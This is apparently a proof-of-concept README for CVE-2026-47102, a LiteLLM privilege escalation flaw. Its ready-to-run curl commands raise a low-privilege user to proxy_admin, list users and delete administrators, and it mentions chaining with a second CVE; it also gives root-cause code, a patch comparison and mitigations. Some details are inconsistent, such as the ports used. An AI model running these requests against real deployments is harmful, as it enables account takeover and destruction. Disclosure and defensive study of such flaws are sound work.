## https://sploitus.com/exploit?id=16141140-4972-503C-85D5-308A4B232C22
# CVE-2026-47102 β LiteLLM Privilege Escalation via `/user/update`
> **LiteLLM** v1.83.7 (v1.83.10 or earlier versions)βs `/user/update` endpoint allows users with access to this endpoint to escalate their privileges without authorization. A low-privilege user modifies the `user_role` field to `proxy_admin` when updating their account, thereby achieving privilege escalation. | Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47102** |
| **CVSS v3.1** | **8.8 (HIGH)** β `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **two vulnerabilities can be used in conjunction:** CVE-2026-47101 is used to create a wildcard routing key (for accessing `/user/update`), and CVE-2026-47102 is used to escalate the userβs role to `proxy_admin`. ---
## Proof of Concept
### Environment Preparation
```bash
# 1. Start PostgreSQL + LiteLLM (v1.83.7-stable)
docker compose up -d litellm
# Wait for service to be ready (about 10-30 seconds)
sleep 15
```
### Confirm Service Is Running
```bash
# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10
```
The expected output should include logs indicating successful startup, such as βUvicorn running on http://0.0.0.0:4000β. ### Step 1: Create an `internal_user` account
Use the master key to create a low-privilege `internal_user` account:
```bash
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
```
Expected output:
```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
```
### Step 2: Grant an API key with `/user/update` permission
The administrator creates an API key with `/user/update` permission for `internal_user`. This is a typical way of having access to the `/user/update` endpoint in a real environment:
```bash
# Use the master key to generate a key with `/user/update` permission
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
```
Expected output:
```json
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
```
### Step 3: Escalate privileges to `proxy_admin` (CVE-2026-47102)
Use the key obtained in step 2 to escalate the userβs role to `proxy_admin`:
```bash
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
```
Expected output:
```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
```
> β οΈ **Vulnerability:** The `user_role` has been changed from `internal_user` to `proxy_admin`! The `/user/update` endpoint allows users to modify their `user_role` field without any level of permission restrictions. ### Step 4: Verify administrator access permissions
Verify that the privilege escalation takes effect by using the `/user/list` endpoint (using the original `internal_user` API key, which has no routing restrictions and automatically gains management permissions after being escalated to `proxy_admin`):
```bash
# Use the key obtained after escalating privileges to `proxy_admin` (the original `internal_user` key, with no routing restrictions)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
```
```
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
```
### Step 5: Expansion β Deleting Administrator Users
Using the obtained `proxy_admin` permissions, any user can be deleted using `/user/delete`
(Also using the original internal_userβs API key):
```bash
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
```
Expected Output:
```
1
```
---
### One-Click Replay
The above steps have been integrated into `demo.sh`, which can be executed directly:
```bash
# Full replay (including vulnerable version + comparison with fixed version)
bash demo.sh
```
---
## Verification of Fixed Version
Start the fixed version (v1.83.10-stable) and verify that CVE-2026-47102 has been fixed:
```bash
docker compose --profile fixed up -d litellm-fixed
```
Create `internal_user`:
```bash
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
```
Create a key for the `/user/update` route:
```bash
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
```
Try to escalate permissions (expected to be blocked):
```bash
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
```
Expected Output (fixed version prevents unauthorized requests):
```json
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
```
Comparison with the vulnerable version:
| Test Scenario | Vulnerable Version (v1.83.7) | Fixed Version (v1.83.10) |
|--------------|-------------------------|-------------------------|
| Modifying route key to user_role | β Successfully escalated to proxyadmin | β Blocked ("Only proxy admins can modify user roles.") |
| Accessing /user/list | β Successfully retrieved user list | β Blocked |
---
## Root Cause Analysis
The root cause of the vulnerability lies in the `can_user_call_user_update()` function at the `/user/update` endpoint:
### `/user/update` β Missing field-level permission checks
```python
# Vulnerable code β internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # Administrators can update any user
elif user_api_key_dict.user_id == user_info.user_id:
return True # β Users can update their own records β including the user_role field! return False
```
Fixing this in the v1.83.10+ version:
```python
def can_user_call_user_update(user_api_key_dict, user_info, data):
```
```python
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # Administrators can still update any user and fields
elif user_api_key_dict.user_id == user_info.user_id:
# Limit fields that non-administrators cannot modify
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
```
---
## Exploitation Technique
### Prerequisites
An attacker needs an API key that allows access to the `/user/update` endpoint. This can be obtained in the following ways:
1. **Administrator-supplied route permissions** β An administrator creates a key with the `/user/update` route.
2. **CVE-2026-47101** β Utilizing the wildcard route vulnerability in `/key/generate`, a wildcard key can be created.
3. **`org_admin` role** β In some configurations, `org_admin` has permission to access `/user/update`.
### Attack Steps
**Step 1:** Obtain an API key with permission to the `/user/update` route.
**Step 2:** Call `/user/update` to elevate the role:
```json
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
```
**Step 3:** Verify administrator permissions:
```json
GET /user/list
Authorization: Bearer sk-route-key
```
---
## Patch Analysis (v1.83.10)
This patch fixes the addition of field-level permissions in `/user/update`:
1. **Limit fields that non-administrators cannot modify** β `internal_user` can only update non-critical fields like `metadata`.
2. **Protect the `user_role` field** β Only `proxy_admin` can modify the user role.
3. **Maintain the ability to update oneself** β Users can still update their basic information, but cannot elevate their permissions.
Error message: `"Only proxy admins can modify user roles."`
---
## Repository Structure
```
CVE-2026-47102/
βββ README.md # This file
βββ CVE-2026-47102_.docx # Reproduction report (Chinese)
βββ docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
βββ config.yaml # LiteLLM config with database connection
βββ requirements.txt # Python dependencies
βββ demo.sh # One-click reproduction script
βββ exploit/
β βββ exploit.py # Python exploit script
β βββ payload.py # Payload builders
βββ docs/
βββ screenshots/
```
---
## Mitigation
1. **Upgrade** to LiteLLM **v1.83.10+** (field-level permissions in `/user/update` fixed).
2. **Restrict** API key route privileges β Grant only necessary routes.
3. **Audit** existing users and keys for signs of privilege escalation.
4. **Monitor** `/user/update` calls with `user_role` changes for abnormal activity.
---
## References
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47102)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)
---
> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**
[source-iocs-preserved url=http://0.0.0.0:4000`]